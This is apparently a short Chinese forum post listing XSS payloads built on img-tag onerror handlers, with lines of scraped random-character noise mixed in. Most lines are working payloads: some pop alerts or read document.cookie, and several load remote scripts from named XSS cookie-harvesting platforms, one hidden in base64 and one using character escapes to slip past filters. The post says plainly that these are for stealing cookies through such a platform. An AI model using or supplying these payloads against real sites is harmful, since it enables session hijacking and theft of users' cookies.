img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
/ S* T( ]* u' F  i  K<img src=# onerror=alert(123)>
<img src=# onerror=alert(document.cookie)>
下面是利用平台钓cookie的
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>

: j( x% T* j+ g, M5 e) h
8 M, |- v3 X3 V- j) Y4 r<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
+ m9 d$ f( Z  g2 [6 m% A6 y7 y( n0 Y“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
<img src=1 onerror=jQuery.getScript("//xss.re/974")>
: F- L# }3 O. O+ G# s9 ~  [<img src="#">
: l+ v4 u+ x0 u2 O7 c! J<img src="#">
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
: [+ w4 L5 {3 k. |+ V! t% H& L<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
% m3 I7 e" ?, b8 R<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
7 n3 b" v, |( h( \<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
) n, C  G$ G7 t2 l; a7 k% Z5 u<img src=x width="0" height="0"></img>
% x( i: d# T5 d* \* n5 [8 k* a<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
9 U! L- u3 ]1 U# p<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>
( P2 N: R( s! }! d8 G# e- e3 z